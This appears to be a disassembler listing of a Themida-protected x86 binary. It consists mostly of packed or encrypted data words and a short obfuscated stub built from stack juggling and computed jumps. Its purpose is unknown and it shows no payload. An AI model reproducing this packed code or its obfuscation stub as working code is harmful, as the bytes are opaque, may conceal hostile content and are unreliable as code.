		dd 0DCCB122Ah, 33D5709h, 0C713640Ch, 0B9000000h, 0D1DE0F65h
		dd 9141D6CCh, 96CF968Ch, 5E84EC1Ah, 0C21AE3ECh,	0ED590906h
		dd 968CBC6Ah, 20D3ECFh,	0EA83F705h, 4E5F5092h, 0C373E450h
		dd 40CF968Ch, 24267C34h, 8FE5652Bh, 72E5555Ah, 0CF968CC4h
		dd 0DA7D3543h, 0CF96B922h, 0CCC37C96h, 396B0F31h, 0FE4A000Fh
		dd 0FCF37082h, 6A983F21h, 0F9CF9661h, 0AE0A274Bh, 0C0528EFAh
		dd 3E610906h, 0D5AA11A2h, 0E93B7785h, 0A9977679h, 0FB6F85C1h
		dd 0DC049EF4h, 3006C6D3h, 0E9328F5Dh, 0A1F7Dh, 151AC800h
		dd 717EE53Fh, 535C891Bh, 0B1BEABFDh, 969949DBh,	0FBE67C0h
		dd 247ED4DBh, 0C7613738h, 0E3450B04h, 0EE286E61h, 6C4DFD92h
		dd 49DAC97Fh, 8887435Bh, 0E9E660C2h, 814329A3h,	3B257F8Eh
		dd 821B14D0h, 8C4BFB9Ch, 0ACD8CF96h, 0B6CA803Eh, 4B1h
		dd 0DC0F65C4h, 6216CAD3h, 0CDBDE937h, 0A79FFD4Ah, 6FBECAD5h
		dd 857936E8h, 161187C9h, 0DCFC3408h, 20F7A09h, 0F60C0000h
		dd 0AAA59C77h, 3B7FED53h, 8C93BEC1h, 0ADC7CF96h, 0FE62BBB4h
		dd 65319FBAh, 0A33F2235h, 8C38D5ADh, 0D61260DCh, 141CC4D9h
		dd 3D131CCEh, 0A3B479EBh, 0C97F7673h, 0AEA1A0F0h, 0C573E15Fh
		dd 53CC7F95h, 6D174104h, 9D609E52h, 311ECFA3h, 40D783D7h
		dd 0CF9039D3h, 0F9F67183h, 1FEA06B1h, 89480133h, 3D6CDA23h
		dd 2E000009h, 0C7613738h, 0DF490F00h, 0F92B616Eh, 97114748h
		dd 0ADF65C53h, 0E6E95988h, 0F9F676B0h, 0D9D61193h, 38373173h
		dd 0A7A8C052h, 0C97F6B77h, 4395978Ch, 34D28E81h, 8755D606h
		dd 0C3540402h, 0CF95E913h, 0DD8CE410h, 7A884587h, 3838C5CAh
		dd 95E86393h, 0A5AA95CFh, 19C0AA6h, 21E760A8h, 1E11CC27h
		dd 9CA0AAE0h, 0D20FCD4Bh, 139h,	8E81437Ah, 343B257Fh, 81D5335Eh
		dd 0B27DBED1h, 0D662D5A7h, 67DE1037h, 0F92FC985h, 0CE4C706Eh
		dd 4D0209DCh, 0AA000000h, 48386CB4h, 0A7B150C7h, 0F67715D5h
		dd 0DAE83524h, 0B9F5A5D3h, 85416896h, 2941FFC9h, 4225D970h
		dd 0A70C985h, 4189B9DEh, 629EC985h, 514FD80Eh, 9DCA46Dh
		dd 0CA25h, 8689C500h, 0C9854D58h, 6EE151EFh, 0C9854DC0h
		dd 0B412947h, 7F8E8143h, 2A1D8503h, 0C19B4BCCh,	1CA8CF95h
		dd 0F59EC67Eh, 8E367BDh, 13CDD0DFh, 23C18E5h, 0BAA4F00Dh
		dd 0BBAFC5B5h, 9DF769B4h, 9FC1A9A6h, 96CF50F8h,	0AFA0A2CFh
		dd 0D90B99E9h, 610937D6h, 0C8B8EC34h, 0A9F92947h, 0E3316DD5h
		dd 0A0906D62h, 82A0FB2Bh, 193E08C9h, 0C982A0E9h, 0E454C27Eh
		dd 82A0C373h, 7C3440C9h, 1F752553h, 346E242Bh, 62F6030Ch
		dd 768F5D58h, 7DEA195h,	598F0000h, 0A1A60056h, 8FBEE8AEh
		dd 0E958CA80h, 0F276B0E6h, 0E70C97FDh, 573D3236h, 381E11CDh
		dd 1C727DEEh, 157588Ah,	26D47BB7h, 3DC97F6Bh, 87432468h
		dd 0E660C288h, 4329A3E9h, 257F8E81h, 2A5E343Bh,	27Dh, 386CB470h
		dd 0A3BCC748h, 40D2D5ADh, 274B1C83h, 8EC01D50h,	1BF1810h
		dd 1BA95DFCh, 0A4F4C97Fh, 9E89BDA3h, 11C909DAh,	99000002h
		dd 92C1457Fh, 9B455857h, 3B5B00FDh, 0A01AB751h,	56D9B7Ah
		dd 8C93BEF7h, 0CA16CF96h, 9150A29Eh, 0E96E9A9Eh, 0D5ADA2D6h
		dd 176DDD6Bh, 3274DAD5h, 0E9A0AF30h, 4DE14EDBh,	0A701CEDFh
		dd 0A39087F3h, 0A0CF8FFBh, 48A58514h, 805D8948h, 71B5Ah
		dd 1916CC00h, 7D72F133h, 5F508D17h, 0B5BAAFF9h,	929D45DFh
		dd 13C26BBCh, 3072D8D7h, 0D3553B34h, 0EF391F10h, 9A1C727Dh
		dd 6941F166h, 4DC6C97Fh, 0B57B655Fh, 0CAC502A3h, 0F5C49ACCh
		dd 84BC414Eh, 6C06216h,	528EF409h, 95A80D3Dh, 0B2EE1ACFh
		dd 95A76D9Dh, 2A4EFACFh, 0BC414EF8h, 13EAE560h,	8A131CC9h
		dd 9CBE49DFh, 0F234CF19h, 0D7037F70h, 95A79240h, 0F6391CFh
		dd 0A5F67E9h, 3D130FCDh, 0B9000001h, 7F8E8143h,	44343B25h
		dd 0E8353A2Eh, 0B3DE0068h, 0B7510155h, 6478BA33h, 4847830Bh
		dd 151D8BB5h, 7A566E9h,	9BE9D5A7h, 0EEC9A1AEh, 3D574B52h
		dd 4CF40906h, 0FECF0324h, 8A1EC984h, 0D90B9979h, 610937D6h
		dd 0DC65231Bh, 256F09h,	653D0000h, 5CD4DB0Fh, 174317F1h
		dd 0A7B10B00h, 0C1DC68D5h, 8568D406h, 748F21C9h, 0DCCB526Ah
		dd 0BC1C09h, 43AC0000h,	257F8E81h, 1C13D63Dh, 1BC51FEEh
		dd 0B1B38914h, 0B4B0C2BEh, 8D28D679h, 813FCF96h, 52F91F13h
		dd 0CF9706BAh, 7E88E0EEh, 0D8480F93h, 5A866768h, 2C1E442Ch
		dd 0E4CC6D23h, 8394C0B0h, 0CF95E353h, 0B0CCA4D0h, 0A993019Fh
		dd 0B1AB35D5h, 0CCB53AC6h, 0D5A51266h, 828F9442h, 0F76593C9h
		dd 0F6F969BBh, 0CDC206A0h, 5D46F03Ch, 5387648Fh, 5B4h
		dd 0CA808FB5h, 0AEE4EB58h, 90C6C974h, 76DCD316h, 553B342Ch
		dd 48F829D2h, 57971147h, 0B7B0F258h, 9650D2B8h,	961B399h
		dd 7F68D806h, 0F6366FC9h, 0C2888743h, 0B9E9E660h, 8D1CCA4Dh
		dd 9D2BCF96h, 0FD177395h, 82BE4F40h, 81439CEEh,	3B257F8Eh
		dd 422A5E34h, 70000000h, 21E77B65h, 9954A204h, 0E915391h
		dd 944F0A5Ch, 342D4788h, 47DD8D3Bh, 0CF718C83h,	0B8AAF2ABh
		dd 2D6356B7h, 6D62DC1Ah, 8295C13Dh, 0CF962454h,	2EA5D3h
		dd 7CF9625h, 2B5F81E9h,	2Ch, 8E814371h,	0F56634D2h, 810D335h
		dd 80621B0Ah, 9890249Bh, 0EE61DDC1h, 0CF967740h, 5EC1A9C7h
		dd 0CF9677ADh, 0B670F3D5h, 7BD5BBB4h, 15EF7B65h, 2484F73Ch
		dd 0DBD4164Ch, 0EF60DCC2h, 0CF95E73Fh, 55C0A8C4h, 7FE04F8Bh
		dd 0ABD80609h, 0D16FCF95h, 221FE933h, 56DAC4B4h, 4F51D597h
		dd 0B5DA264Ah, 0D5ACE32Eh, 71AD9D2Bh, 452D2223h, 1C62D1Fh
		dd 0D341FF0Eh, 3AD10D67h, 78F8050Ah, 650D33CAh,	0A8A7A103h
		dd 4410F855h, 0CCD10314h, 0DA56CF95h, 0CF89606Eh, 0DC11ED92h
		dd 96498BBBh, 0FE6C98CFh, 0A344EBAh, 9E6F60E1h,	0C45E34A2h
		dd 5B88151Ah, 1A15CD7Dh, 8C9BBCECh, 0D9D5A774h,	0D3185EABh
		dd 0B3888F5Fh, 45387h, 212E1400h, 50A396Bh, 6768D54Fh
		dd 7D72F731h, 5A558D17h, 5B8AB3F4h, 78AAE0EFh, 1B8DC3CCh
		dd 37712728h, 0C2543A35h, 6679A9AEh, 958EC97Fh,	8E814397h
		dd 2ED734D2h, 0CA155184h, 64E640A6h, 984A926Bh,	326CF373h
		dd 0DC93C904h, 1DC3DA48h, 73551EEFh, 3B3436F0h,	92330B55h
		dd 517F0FCDh, 0D000000h, 48386CB4h, 0A7DB51C7h,	3A2F45D5h
		dd 26527D35h, 4DC23E6Ah, 0C9853E9Dh, 0C81A1EAAh, 0CE3A101Fh
		dd 678689B4h, 5E8EB1F9h, 94C9853Eh, 0B5EFA5AAh,	0CBD5858Ah
		dd 1222E549h, 0B87139F9h, 0E20D5C7Ah, 2BF2FD6Ah, 0BD4B1735h
		dd 0A184B8F0h, 0D6000003h, 0F8262965h, 0FCF968Ch, 0F96BB9F1h
		dd 8CF32334h, 2070CF96h, 0CBA2827h, 26B9ABF1h, 0AAAD45BCh
		dd 0CF95D67Ch, 0FE5F7D8Bh, 197FED29h, 94C49078h, 0BB6BEC58h
		dd 48CF9631h, 0F5636CD8h, 57599ABDh, 0C75DD5A7h, 40F00D02h
		dd 0AC718F28h, 8A006876h, 7CCCBF2Bh, 8FDF1334h,	0FA2EC984h
		dd 0CC7B8969h, 0BA282727h
		dd 0B7B5FD63h, 9DC168Fh, 4BFB9CC8h, 0D8C98497h,	31B3C4ACh
		dd 57000000h, 0F30A053Dh, 0B4D7254Dh, 0C748386Ch, 0D5A7B150h
		dd 0CCC30315h, 0A1910F31h, 959D9253h, 68D105C4h, 8C1CC985h
		dd 0CBA1657Bh, 0CF1109DCh, 0BF000000h, 7F8E8143h, 0D888503h
		dd 0D10E1A63h, 0F7D98C62h, 276E43Fh, 0ADFF60E0h, 2407E54h
		dd 3EFC6D6Bh, 0E2C0692Fh, 7EEE0474h, 14603971h,	0FCD8252Ah
		dd 60074D42h, 0CF961F98h, 62F5382Ah, 0CF9616B4h, 0C19705B3h
		dd 2DFD4741h, 8437C77Eh, 0BBB4B6ECh, 5703ED62h,	5758891Bh
		dd 4DF88AB6h, 0BDD22E42h, 0D5A6FDD2h, 0F3FC6E84h, 0AEE410BFh
		dd 1712583h, 98AC6C0Eh,	9352A0CFh, 8D3B949Ch, 8C8347DDh
		dd 0EBE45CC6h, 4C9AE21Eh, 41F55689h, 264h, 7AD0DF05h, 5E343B28h
		dd 401619C4h, 266C63E6h, 54B44FCh, 984879A2h, 0E767C197h
		dd 0C700A2E8h, 262082C8h, 0D9D16329h, 7F6488B6h, 86869FC9h
		dd 0C2888743h, 0B9E9E660h, 0B8F0FF6Bh, 6CB4E456h, 8CA555FAh
		dd 0F2A2CF96h, 0BDA37A75h, 0AEA1910Fh, 0D5A7B0B9h, 5CFB02BEh
		dd 0C98568AAh, 0BCA2A5FBh, 9DCCB88h, 9FC6h, 0DA0A9800h
		dd 432F5DD5h, 257F8E81h, 6CEB323Dh, 0CF9691A4h,	2D636CDEh
		dd 0A74649FBh, 2E1A4EAAh, 0A7933E29h, 5F3543D5h, 0D682D632h
		dd 992DBE41h, 2515A3CFh, 0A1AE9BE9h, 568CE45Ch,	94B15F92h
		dd 0C1FEC7D6h, 2AA856FDh, 1BFCF94h, 0FF6BBD93h,	0D9E121F0h
		dd 0F449894Ch, 19F46h, 959A4800h, 0F1FE65BFh, 0D3DC099Bh
		dd 313E2B7Dh, 1619C95Bh, 8F3EE740h, 0A4FE545Bh,	47E1B7B8h
		dd 63C58B84h, 6EA8EEE1h, 63CD7D12h, 0C95AC97Fh,	262965DBh
		dd 0CF968CF8h, 6BB9F10Fh, 89AF0FFh, 17BD1DEh, 0C21E8143h
		dd 6F5C39FBh, 409C619Fh, 16C44B86h, 2DCF95ACh, 0F92B619Fh
		dd 54BFA44Fh, 0F977E5EAh, 95C12F24h, 0FFC83BA5h, 74E637E3h
		dd 184FC03Ch, 0DDD5A6E8h, 0B5E15EAFh, 89E1EE5Fh, 0D80ACC57h
		dd 0EF3E3133h, 0EC8DC371h, 8689B404h, 0ED276967h, 0B94A42C4h
		dd 0AAAD9D0Bh, 0CF964C41h, 0AFD32A46h, 1AE3EC55h, 0D6105226h
		dd 0F20B043Dh, 9ACDD04Eh, 644C7D86h, 478368D4h,	0FCACDA48h
		dd 0A771705Bh, 91C775D5h, 0A452C531h, 0D6C98520h, 0CD7B1817h
		dd 0C2CD7FA5h, 6966E13Bh, 4ED9AF94h, 0FB515E88h, 6A26725Eh
		dd 9653AEE5h, 598A18CFh, 2E538394h, 0A4D0CF96h,	27554236h
		dd 2728196Bh, 80429A53h, 0BFC17E8Fh, 1F4B95A4h,	61772C23h
		dd 0C07CD5A7h, 9701EF8Ah, 85205280h, 0F425D0C9h, 0E6212536h
		dd 6DDD4BF9h, 50D8D717h, 1FED2334h, 7E8ACF9Ch, 0E4EB55AFh
		dd 27D778B4h, 3CCF8FF7h, 1C86E880h, 0BA68EF22h,	1ACF8FF6h
		dd 8FF6C575h, 293642CFh, 0B9906D9Bh, 1AE81F25h,	13D56E22h
		dd 2E78DED1h, 0B4EA333Ch, 0CF27D778h, 43D8437h,	286BA757h
		dd 2D45F390h, 0A07D72F7h, 9C5AEDB3h, 0BDE7ADA2h, 0F4FB6883h
		dd 1C13D329h, 0B3215F81h, 0BBB4ADC7h, 0E3BAFE62h, 377h
		dd 6860500h, 738A8543h,	0ED303F29h, 425B5497h, 38C5CA7Ah
		dd 926B64DCh, 0C919E4Ah, 0EF3E3130h, 46A7A895h,	27C6C97Eh
		dd 3A926837h, 2C890000h, 4EC8124h, 89000000h
; ---------------------------------------------------------------------------
		or	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebx
		mov	ebx, 4F0D38DEh
		dec	ebx
		shr	ebx, 1
		neg	ebx
		dec	ebx
		shl	ebx, 2
		xor	ebx, 67F2992Dh
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		db 0A7h, 0BAh, 27h
		dd 0D87DD66Fh
		db 0EAh, 0C0h
; ---------------------------------------------------------------------------


loc_5AC72A:				; CODE XREF: Themida_:005AB280j
		mov	eax, 6172ACFh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 9Eh
		dd 0E666D58Ch, 0B735A1B5h, 7218D99Ch, 7316718Ch, 2858E03Ch
		dd 4C25149Ah, 0D100DFFDh, 9F4A944Ch, 0E016793h,	22602B8h
		dd 0F06FF5A1h, 732C980Fh, 2657497Ah, 0E50CAB94h, 7068E20Eh
		dd 2A1A13B8h, 622E72A3h, 0E9408815h, 82h, 50E76D59h, 0BAF5CC47h
		dd 66D138F3h, 9FABAFD6h, 7C4DB297h, 95B7E3h, 0E9A9E572h
		dd 9BB69CB5h, 0B6F37760h, 9EB794A9h, 7D60D760h,	9EA9BD89h
		dd 729EBD8Ch, 4A95ACE3h, 9BB98B20h, 9D89937Eh, 0AFF496B9h
		dd 94A19E96h, 91A7D6B5h, 48D100FDh, 33594ACCh, 5200713Ch
		dd 0F357DB4Dh, 0EFB6005Eh, 0BD899DBBh, 9F899500h, 97BBEFB6h
		dd 0B1B6D000h, 527155C3h, 0DA43700h, 910D3C2h, 0Eh, 0C1E90000h
		dd 6800000Fh, 6172E3Eh,	0FA51B2E9h, 2F3768FFh, 0A8E90617h
		dd 68FFFA51h, 617303Ah,	0FA519EE9h, 314A68FFh, 94E90617h
		dd 68FFFA51h, 61731E1h,	0FA518AE9h, 329868FFh, 80E90617h
		dd 68FFFA51h, 6173327h,	0FA5176E9h, 33DC68FFh, 6CE90617h
		dd 68FFFA51h, 6173495h,	0FA5162E9h, 353068FFh, 58E90617h
		dd 68FFFA51h, 6173607h,	0FA514EE9h, 374D68FFh, 44E90617h
		dd 68FFFA51h, 6173988h,	0FA513AE9h, 3A7C68FFh, 30E90617h
		dd 8EFFFA51h, 0A7015758h, 0BFE9AFA0h, 59CB818Eh, 77B1E7E8h
		dd 0D96FCF3h, 60939E8h,	1916D650h, 7976F133h, 58579113h
		dd 0C748A0F2h, 0C97F6117h, 0E93B772Ch, 0C238707Fh, 7F8E8143h
		dd 7AA43B25h, 90A3122h,	5CFD53C1h, 22702074h, 3A462A25h
		dd 0A6F9D215h, 0F18997D5h, 0D6173A3Ch, 4BB756C4h, 7589364Dh
		dd 780ABD51h, 33DC0CFh,	6016C86Fh, 1B67C985h, 0BCF56FFDh
		dd 92E6C935h, 0F1D5CB5Ch, 0A109DC11h, 3Ch, 386CB44Fh, 0CB7B1C48h
		dd 58CF968Ch, 2BDB7C2Ch, 38CF968Dh, 0F798E48Ch,	0D5A7B080h
		dd 0EEE15CB6h, 1718C51Fh, 8A269199h, 6922D473h,	3D73C985h
		dd 0CB10342Ah, 0F45E09DCh, 0EE000000h, 0D0DF0F65h, 302713CDh
		dd 0CF968D02h, 65BFF301h, 0D329F4FBh, 99851817h, 0CC43DC0Bh
		dd 0B1D8AF51h, 578DE513h, 7375895h, 1CCF95BAh, 6F9FB0E0h
		dd 0F4CF95B9h, 49ECA78h, 15CBD2DDh, 1A564C1Dh, 95B9C575h
		dd 423642CFh, 16CD2620h, 0B34A45FDh, 0ABE11F8Dh, 95BE3D84h
		dd 1EF577CFh, 0DFB5232Ch, 9949B45h, 0F8A8FCC4h,	0A6D2F057h
		dd 0B47F5D5h, 176BD48Dh, 69466D55h, 35BBC2B6h, 98FEB220h
		dd 1F4B1FF9h, 9928EF78h, 12CD27CFh, 0C650801Dh,	48670B04h
		dd 32364C3Ch, 794F42ADh, 43F110CAh, 0A0AF9B0Dh,	4D8C1351h
		dd 0B0A68789h, 0D22h, 82C8C77Dh, 662C2320h, 480E013Ch
		dd 2E646BDEh, 0D434CF4h, 8040719Ah, 0EF5FC98Fh,	0CF78AAE0h
		dd 2E188AC0h, 0D1296B21h, 7F5E90BEh, 8EFE97C9h,	0C2888743h
		dd 0A3E9E660h, 0B664EB27h, 4DCF968Ch, 0B4017B3Fh, 8962DC6Ch
		dd 89B75659h, 41BDED1Bh, 968D20CEh, 0FF8927CFh,	0D7334748h
		dd 0A7B0CB40h, 811CA8D5h, 85689446h, 0B44FE1C9h, 0DCCB92AAh
		dd 0DCDC09h, 436C0000h,	257F8E81h, 5846323Dh, 95780AF3h
		dd 8A2C568Eh, 6C9B7FCFh, 64E3BAFEh, 0CF96459Dh,	4EFE15D7h
		dd 2B7DD341h, 1F21A639h, 3999C24Ah, 0F3DD728Bh,	0FF64EBA7h
		dd 4D5A72Eh, 0FB6AB8E8h, 433729F4h, 24947C1Dh, 77E9343Bh
		dd 6C8689F9h, 0F3CF98D5h, 4BFF1545h, 0C3619186h, 4AE6CF93h
		dd 0DE0A76DCh, 93C389B9h, 64629ECFh, 0C7BE007Dh, 366C046Fh
		dd 626DD932h, 5FD125F4h, 0FC41894Dh, 0C294Eh, 0C1CE7400h
		dd 252A198Bh, 708356Fh,	1D12D751h, 7A75ED37h, 0BB6A9314h
		dd 58CA808Fh, 7BADE3ECh, 1791C7C8h, 2274DAD5h, 5D9949CEh
		dd 0F5AEC97Fh, 6C8743B7h, 134FFDF2h, 15E3C6F5h,	4DFB50F0h
		dd 0EE000E97h, 0B3D55DBAh, 92F8F771h, 6C63DC36h, 0A1EB1B3Ch
		dd 0CC78CF95h, 814356A4h, 3B257F8Eh, 90E25E34h,	9E425B54h
		dd 929D489Ah, 9D924CA6h, 7D81BEFFh, 7307F154h, 0EFE062BAh
		dd 410AACA9h, 1D12D767h, 0E461B3EFh, 4A2E12EBh,	82B6193Eh
		dd 0DEF8D5A7h, 2194C787h, 30C3E39h, 0A0C846FAh,	8988F977h
		dd 0C10F1356h, 0F60D1EB8h, 0D1C25A9Eh, 4014FC59h, 0AC2C7F10h
		dd 8331E40Bh, 5F0BD57Ah, 0E45DB7E3h, 4A2E12EBh,	2020B0E5h
		dd 4F3B49DEh, 0FA030C35h, 0BCD63246h, 7BC78D82h, 0F7DA080Fh
		dd 0DB69DDF7h, 1ED30D57h, 0F77DADA2h, 7E8ADDF7h, 0F7F829D9h
		dd 14823EDDh, 0D1DB8B85h, 78EE3F78h, 0B26h, 8EC4CB79h
		dd 6A202F14h, 4C020D38h, 2A606FDAh, 114748F8h, 84BC6D96h
		dd 0E363C58Bh, 0C37CA6ECh, 221C86CCh, 0DD2D672Dh, 7F5C8CBAh
		dd 9A8A9BC9h, 7F8E8143h, 0F6A2F6D2h, 0A7985661h, 0A7ED1BD5h
		dd 0E7A2E8Ah, 968E7209h, 0A479F7CFh, 968571A5h,	0DB6CBCCFh
		dd 0CDE8C1C5h, 47B10Fh,	0B45F0000h, 3A48386Ch, 0B40B950Ah
		dd 1ED2EDA0h, 4F231DE0h, 0E7281C33h, 861CD5A6h,	8DB34A45h
		dd 0C2BECAE5h, 1328B7B0h, 0B209871h, 5BA7ED1Bh,	0F71619C9h
		dd 0CE7E2149h, 24C98560h, 0C55F353Ah, 4288151Ah, 0A82h
		dd 386CB4E8h, 0B942C748h, 1854D5ADh, 7F60C777h,	48205CC9h
		dd 5BCC416Fh, 5ACEB1AFh, 24267C2Ch, 1C3652Bh, 7652FF0Eh
		dd 0E83A7622h, 0AA967778h, 4EA959FEh, 2BEC97Fh,	7AD3C96Eh
		dd 1894CF96h, 646BDA28h, 0A0A2F00Ch, 8DBFE9AFh,	0CF1EAC12h
		dd 0C5739A78h, 99CD2B38h, 3C99A6A9h, 12AED5A7h,	5E1E9F87h
		dd 60D6378Fh, 0A16h, 7ED4DB09h,	5A303F24h, 3C121DC8h, 1A707FEAh
		dd 1575888h, 944C7DA6h,	0F373B59Bh, 0D30C96FCh,	322C76DCh
		dd 0ADDD573Dh, 7F5B7CAAh, 6A9A8BC9h, 968C8CBEh,	0E3B711CFh
		dd 26D47BB7h, 3DCF968Dh, 239FEB8Fh, 6694BBF7h, 0FDCF968Ch
		dd 8D1AC84Fh, 9B29CF96h, 0B844B097h, 3543D5ADh,	998F0945h
		dd 0F3F5077h, 14C97EB5h, 0AD7DFA98h, 3E287A3Eh,	1FC95B31h
		dd 0A74649F4h, 5DF20BB9h, 196B2773h, 3D49212Eh,	907A911Ah
		dd 4F5AD6CFh, 89495B4Dh, 7FD604D9h, 0A2000009h,	43E5ABA4h
		dd 63C58B84h, 7DA7EDE2h, 2385CBC4h, 0C1622827h,	7A75ED1Ch
		dd 5D529214h, 0BDB2ADF7h, 9C934DD7h, 0B0C7CB6h,	0C97F5BDBh
		dd 43C93B68h, 257F8E81h, 5A44343Bh, 0F59A3133h,	0CF95AB45h
		dd 0D2A8B6C2h, 0E3F49CAh, 64B06901h, 0A729F4FBh, 8AAD28FEh
		dd 70F78180h, 653BAE7Fh, 66B8C0E2h, 0DAFBC3DDh,	66B70FCDh
		dd 45000004h, 64DC6CB4h, 8A8DFD6Bh, 0D5ADB82Ah,	2728146Eh
		dd 0B9161AC6h, 0E5E35F0Bh, 0CA6F975h, 297B3F33h, 0C85A303Fh
		dd 4D8C111Eh, 0C97EF899h, 4200C42Ch, 52B4B9CAh,	96B9E967h
		dd 0CF8FE40Dh, 0BFCB2652h, 4F8949F1h, 8C848FEh,	6DDB0000h
		dd 4DFA2C62h, 0AB9A0C42h, 8DB4EEA4h, 0EE5ACC82h, 0D378ABE1h
		dd 63292622h, 440A05C1h, 286E61E2h, 0D434CFEh, 32E0778Bh
		dd 31C97F5Bh, 81432064h, 0F1037F8Eh, 0EC367A75h, 5AA07D72h
		dd 291D0304h, 690FCDEBh, 3D1h, 8C8CBE37h, 0B711CF96h, 76A0B7E3h
		dd 0AED5ADB8h, 2D1D8E20h, 0BAFEF03Dh, 61B3EF1Dh, 4581E9E6h
		dd 5C323D2Fh, 0F61718CAh, 7F2B7F59h, 8FF6CFD8h,	42FC94CFh
		dd 4B2BDA9h, 0E7657B96h, 4C918949h, 8399Eh, 0F1FE6400h
		dd 0D5DA099Bh, 3738257Fh, 0D02C761h, 6A65DD47h,	0AB5A8324h
		dd 48DAB0BFh, 6BBD939Ch, 7A1F7F8h, 3284CAC5h, 59A959FEh
		dd 0E5BEC97Fh, 8E8143A7h, 8E8140D2h, 343B257Fh,	0E13BF286h
		dd 0CC386867h, 968C9B4Bh
		dd 4FF8A8CFh, 0F166D240h, 0CF968C41h, 17C6AAC6h, 924DA7C3h
		dd 55C3CC79h, 66788BDDh, 0FCDEB5Eh, 32010h, 92BEB800h
		dd 17CF968Ch, 71AD9DC9h, 968D30DEh, 0E35D37CFh,	0B12F11ECh
		dd 698A8DF9h, 0FED5ADB8h, 42FC1642h, 0A39D074Dh, 14FC51ACh
		dd 107F1040h, 46CF9092h, 39FB3258h, 600823D3h, 0CEE839B7h
		dd 0D68949DAh, 784C175h, 0A99F0000h, 0B1B6F0A6h, 9F4ED8BEh
		dd 0F968BA90h, 0C206A0F6h, 0F71C87CDh, 470D02C6h, 286E61DDh
		dd 0C424DFEh, 0F1A7A89Ah, 16C44BA7h, 2DC97F5Ah,	81433478h
		dd 85037F8Eh, 5C420669h, 0F92B4FEEh, 0F4BD404Fh, 0EB559394h
		dd 0B452AEE4h, 614874E3h, 54D65A75h, 0FCDBA70h,	73Eh, 76ADCE00h
		dd 0FF000002h, 0D3DC0F65h, 355A16CAh, 0CF968D05h, 9D82F602h
		dd 0CF968C6Fh, 9ECA9E7Ah, 0ADB85DF9h, 0FAB6C2D5h, 653A06DCh
		dd 919978E2h, 222D1F75h, 7083A6Ch, 0DB8F69E6h, 50C7336Fh
		dd 0C97EB2A2h, 7B74F7A1h, 6800BEA2h, 8FE458C7h,	0C2DF6DCFh
		dd 8949A592h, 0CB9145A6h, 0D6000006h, 0EF391F10h, 87217778h
		dd 0A1034946h, 0BFE9AFA0h, 55CE848Bh, 0CEC101B0h, 212E1E88h
		dd 10E396Bh, 606FD94Bh,	0FF90E82Ah, 0C97F584Fh,	434DBFD4h
		dd 37F8E81h, 0A59C77F1h, 2E743CAAh, 1EA333Ch, 46DC3CC7h
		dd 0BFE58D82h, 82CC828Dh, 0FCDEFBAh, 0B3BCA5FFh, 4D82F66Ah
		dd 7, 1BBAD13h,	0BEFF0000h, 0CF968C93h,	0A29ECA16h, 0ADB898ADh
		dd 376391D5h, 906D62DDh, 66BCC8A0h, 3A5EBE4h, 123FCEC1h
		dd 0A1B6E2B6h, 0CF9091B2h, 0FAE839B7h, 0CA894953h, 630C571h
		dd 0F5730000h, 0D51294FAh, 333274DAh, 15CC563Ch, 76F2341Ah
		dd 6B901379h, 0CB818EBAh, 0ACE2ED59h, 90C6C97Ah, 75DBD416h
		dd 9A48CF23h, 0A9C97F57h, 814388FCh, 85037F8Eh,	60E446F7h
		dd 7778EFEAh, 0F173B1F9h, 28462FFEh, 9616EDAh, 588A4CD7h
		dd 8BFD1B57h, 0E66A50AFh, 65E70961h, 0FCDB9A1h,	505F881Ah
		dd 7A7D8h, 0AD750000h, 115h, 187B65FFh,	0E301D30Fh, 74A186EAh
		dd 77CF9679h, 518DFDA9h, 0F00D02C3h, 7A1BCB40h,	9C28CF96h
		dd 0B657588Ah, 0F59AE68Ah, 0D5ADA568h, 21D146B2h, 26C97F4Eh
		dd 0BBC9E68Ah, 848BB5CFh, 0E5EA54CEh, 29EDCB18h, 69912E1Ah
		dd 1F0072F0h, 0AFB2ADABh, 0D87F2B59h, 0CF8FEF6Bh, 343B2878h
		dd 0B06D6B86h, 0A4798949h, 559B6h, 919E4400h, 0F5FA69BBh
		dd 0D7D8059Fh, 2D222781h, 0A053D67h, 8B3AE344h,	0A8FA505Fh
		dd 4BDDB3BCh, 67C19798h, 12A4EAE5h, 56C9791Eh, 0C55EC97Fh
		dd 8E8143C7h, 343B257Fh, 0BB5093E9h, 0C67A838Ch, 0FB6FB548h
		dd 0EABE29F4h, 44BA7B59h, 0D736392Eh, 0E8163969h, 7FCF968Ch
		dd 0EC77A9C1h, 6137382Ah, 0CDEF271Fh, 166B0Fh, 65310000h
		dd 8CF82629h, 0CF7ACF96h, 4033DC0h, 2E8C80E8h, 0DE000000h
		dd 0D28E8143h, 910DDA34h, 0EABCDD8Fh, 6C3D757Ah, 0C4D9D610h
		dd 42849F95h, 0B1C98F80h, 2Eh, 658EBFD5h, 2828F5FAh, 0B5FD63BAh
		dd 0DB296547h, 41F16669h, 0C6CF968Ch, 0A29CC6AAh, 46F950ADh
		dd 0BCCF968Ch, 2D1FD96Ah, 9D0B04C6h, 814345B7h,	0F6D27F8Eh
		dd 0DC61F6A2h, 0CED5ADB8h, 668788B4h, 0EB19B6FAh, 0F4FB65BFh
		dd 0D5DA049Eh, 0E9BD1BC8h, 7E114DB9h, 0C97F60D0h, 0EE51D957h
		dd 0CF968BFAh, 303F2B7Dh, 5C5397EDh, 17619F41h,	0F3AFDDD2h
		dd 0E2A8A7A1h, 0DCD30C66h, 9949B4Ah, 0C701A3D7h, 0B01835C8h
		dd 94A3B4E4h, 0D1D5A7B0h, 0A994C233h, 5CA2EF09h, 1818FCDh
		dd 2DFC6A24h, 8F5E9B55h, 13FA60BDh, 0E000004h, 2781D7D8h
		dd 3F692F20h, 0D94B010Eh, 0F7316768h, 8D167C73h, 8689B968h
		dd 999656D0h, 0F9F671B3h, 0D8D71193h, 47C82072h, 0C97F5597h
